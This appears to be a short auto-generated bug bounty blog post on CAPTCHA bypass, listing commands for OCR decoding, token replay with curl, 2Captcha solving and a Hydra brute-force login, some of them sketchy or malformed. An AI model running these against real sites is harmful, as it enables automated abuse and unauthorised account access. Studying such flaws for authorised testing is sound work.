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CAPTCHA bypass techniques are a common target in bug bounty programs, especially when improper access control is involved. Recently, a researcher earned $150 ($100 + $50 bonus) by exploiting a CAPTCHA flaw. Below, we explore methods, verified commands, and steps to test CAPTCHA vulnerabilities.
You Should Know:
1. CAPTCHA Bypass Techniques
- Automated Tools (OCR & Session Replay):
- Use Tesseract OCR to decode simple CAPTCHAs:
tesseract captcha.png output -l eng
- Burp Suite Repeater to replay valid CAPTCHA sessions.
- Python Requests to automate submissions:
import requests response = requests.post(url, data={"captcha": "bypassed_value"})
2. Exploiting Weak CAPTCHA Logic
- Time-Based Bypass: Some CAPTCHAs expire too slowly.
- Use curl to test delayed submissions:
curl -X POST "https://target.com/submit" --data "captcha=old_token"
- Missing Server-Side Validation:
- Intercept with Burp Proxy, modify CAPTCHA parameters.
3. Bypassing reCAPTCHA v2/v3
- Token Reuse: Extract valid tokens from past submissions.
- Automated Solvers (2Captcha API):
from twocaptcha import TwoCaptcha solver = TwoCaptcha('API_KEY') result = solver.recaptcha(sitekey='SITE_KEY', url='TARGET_URL')
4. Rate Limit Testing
- Hydra for brute-forcing weak CAPTCHA systems:
hydra -l admin -p password target.com http-post-form "/login:captcha=^FAIL^&user=^USER^&pass=^PASS^:Invalid"
What Undercode Say:
CAPTCHA flaws remain a goldmine in bug bounty hunting. Focus on:
– Session replay attacks (Burp Suite).
– OCR-based decoding (Tesseract).
– Logic flaws (time delays, missing validation).
– Automated solving services (2Captcha).
Expected Output:
A successful bypass leading to unauthorized access, rewarded under Improper Access Control (CWE-284).
Prediction:
As CAPTCHA systems evolve, so will bypass methods—expect more AI-driven exploits (e.g., GANs for CAPTCHA generation attacks).
Relevant URLs:
IT/Security Reporter URL:
Reported By: Sans1986 450 – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
